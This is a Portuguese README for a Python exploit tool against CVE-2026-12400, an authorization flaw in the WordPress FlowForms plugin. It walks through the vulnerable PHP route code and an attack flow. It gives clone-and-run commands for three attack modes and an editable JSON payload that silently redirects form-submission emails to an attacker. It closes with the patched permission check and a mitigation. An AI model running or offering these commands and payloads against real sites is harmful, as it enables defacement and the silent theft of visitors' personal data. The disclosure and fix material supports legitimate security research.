
Exploit em Python para o CVE-2026-12400, uma vulnerabilidade IDOR no plugin FlowForms do WordPress que permite que contribuidores autenticados modifiquem formulários arbitrários e sequestrem notificações por e-mail.
Referência Direta a Objeto Insegura Autenticada (Contribuidor+) para Modificação Arbitrária de Formulários no FlowForms ≤ 1.1.1
| Propriedade | Valor |
|---|---|
| ID CVE | CVE-2026-12400 |
| Pontuação CVSS | 4.3 — Médio |
| Vetor CVSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N |
| CWE | CWE-639 (Contorno de Autorização Através de Chave Controlada pelo Usuário) |
| Produto | FlowForms — Plugin WordPress de Construtor de Formulários Conversacionais |
| Afetado | Todas as versões até e incluindo 1.1.1 |
| Corrigido em | Corrigido na versão 1.1.2 |
| Pesquisador | Phantom Hat |
Estudo de caso completo em caixa branca com análise de código-fonte, rastreamento de fluxo de entrada e comparação de patches:
O FlowForms expõe dois endpoints da API REST sob o namespace flowforms/v1 que são vulneráveis:
POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings
Ambos aceitam um {id} controlado pelo usuário no caminho da URL e modificam os dados do formulário alvo — nome, conteúdo, layout, URL de redirecionamento e destinatários de notificação por e-mail.
Ambos os registros de rota vulneráveis compartilham o mesmo permission_callback falho:
// Atualizar conteúdo/nome do formulário
register_rest_route($ns, '/forms/(?P<id>\d+)', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_form'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
// Atualizar configurações do formulário (notificações por e-mail, layout, etc.)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_settings'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
edit_posts é uma capacidade detida por Contribuidores. O parâmetro {id} nunca é verificado contra a propriedade do usuário solicitante — qualquer usuário autenticado pode mirar em qualquer ID de formulário no site.
Atacante (Contribuidor) API REST FlowForms
│ │
│── POST /wp-login.php ────────────>│ (1) Autenticar como Contribuidor
│<─ cookie wordpress_logged_in ─────│
│ │
│── GET /wp-admin/post-new.php ────>│ (2) Coletar nonce REST
│<─ wpApiSettings.nonce ────────────│
│ │
│── GET /flowform/{id} ────────────>│ (3) Enumerar formulários publicados
│<─ HTTP 200 ───────────────────────│ (qualquer formulário acessível é um alvo)
│ │
│── POST /flowforms/v1/forms/{id} │ (4a) Sobrescrever nome/conteúdo do formulário
│ com payload do atacante ───>│ ← sem verificação de proprietário
│<─ { "success": true } ────────────│
│ │
│── POST /flowforms/v1/forms/{id} │ (4b) Sequestrar notificações por e-mail
│ /settings ─────────────────>│ ← atacante recebe todas
│<─ { "success": true } ────────────│ as futuras submissões de formulários
│ │
│ Todos os 3 vetores confirmados │ (5) Nome ✔ Conteúdo ✔ E-mail ✔
O modo e-mail é o mais crítico. Após o sequestro, cada submissão ao formulário de contato da vítima — incluindo PII dos visitantes, mensagens e detalhes de contato — é encaminhada silenciosamente para o endereço controlado pelo atacante. O administrador do site não vê nenhuma indicação da alteração.
Contribuidor no site alvogit clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt
Renomear qualquer formulário para conteúdo controlado pelo atacante:
python3 exploit.py \
-u http://TARGET \
--user contribuidor \
--password senha123 \
-i 1 -n 100 \
--exploit name
Sobrescrever layout, telas, URL de redirecionamento e imagens de fundo:
python3 exploit.py \
-u http://TARGET \
--user contribuidor \
--password senha123 \
-i 1 -n 100 \
--exploit content
Redirecionar todas as notificações futuras de submissão de formulários para um endereço controlado pelo atacante:
python3 exploit.py \
-u http://TARGET \
--user contribuidor \
--password senha123 \
-i 1 -n 100 \
--exploit email
python3 exploit.py \
-u http://TARGET \
-p http://127.0.0.1:8080 \
--user contribuidor \
--password senha123 \
-i 1 -n 100 \
--exploit email
Os templates de payload JSON (NAME_EDIT, CONTENT_EDIT, EMAIL_EDIT) estão definidos no topo do script. Edite-os antes de executar para personalizar o conteúdo do ataque — altere o endereço de e-mail de notificação, URL de redirecionamento, imagem de fundo, título do formulário, etc.
# Topo do exploit.py
EMAIL_EDIT = json.loads("""{
"settings": {
"email": {
"enabled": true,
"notifications": {
"1": {
"email": "[email protected]", # ← altere isto
...
}
}
}
}
}""")
O exploit executa três etapas automatizadas:
Etapa 1 — Autenticar
Faz login como atacante (Contribuidor) e coleta um nonce válido da API REST em wp-admin/post-new.php.
Etapa 2 — Enumerar Formulários
Escaneia GET /flowform/{id} ao longo da faixa de IDs especificada. IDs que retornam HTTP 200 são coletados como alvos acessíveis — são formulários publicados pertencentes a qualquer usuário do site, incluindo administradores.
Etapa 3 — Explorar Dependendo do modo selecionado, envia o payload correspondente ao endpoint REST desprotegido:
name / content → POST /flowforms/v1/forms/{id}email → POST /flowforms/v1/forms/{id}/settingsO servidor aceita a requisição e aplica a modificação sem verificar a propriedade.
| Ação | Detalhes |
|---|---|
| Correção | Substituir a verificação genérica edit_posts por current_user_can('edit_post', $form_id) em ambos os endpoints — vincular a verificação de capacidade ao objeto de post específico impõe as regras de propriedade do WordPress |
// VULNERÁVEL — ambos os endpoints
'permission_callback' => fn() => current_user_can('edit_posts'),
// SEGURO (corrigido)
private function can_edit_form($form_id) {
return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),
CVE-2026-12400-FlowForms-IDOR-Exploit/
├── exploit.py # Exploit refinado com interface rica (3 modos)
├── requirements.txt # Dependências Python
└── README.md # Este arquivo
Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais de pesquisa. O acesso não autorizado a sistemas de computador é ilegal de acordo com as leis aplicáveis em todo o mundo. O autor não assume nenhuma responsabilidade pelo uso indevido deste software. Sempre obtenha permissão explícita por escrito antes de testar qualquer sistema que você não possua.
Phantom Hat — Pesquisador de Segurança Independente
Esta pesquisa foi conduzida como parte da divulgação responsável de vulnerabilidades.
| Modo | Endpoint | Impacto |
|---|
nome | /forms/{id} | Renomear qualquer formulário — desfiguração, engenharia social |
conteúdo | /forms/{id} | Sobrescrever layout, telas de boas-vindas/agradecimento, URL de redirecionamento |
e-mail | /forms/{id}/settings | Sequestrar e-mail de notificação — receber silenciosamente todas as submissões de formulários |
| Flag | Curta | Descrição | Obrigatório |
|---|
--url | -u | URL do WordPress alvo | ✅ |
--user | Nome de usuário do WordPress (Contribuidor+) | ✅ | |
--password | Senha do WordPress | ✅ | |
--id-start | -i | ID inicial de formulário para enumeração | ✅ |
--num-forms | -n | Número de IDs de formulário a enumerar | ✅ |
--exploit | Modo de ataque: name / content / email | ✅ | |
--proxy | -p | URL do proxy (ex.: http://127.0.0.1:8080) | ❌ |
| Mitigação | Até que seja corrigido, restrinja os papéis de Contribuidor e Autor se o plugin estiver ativo |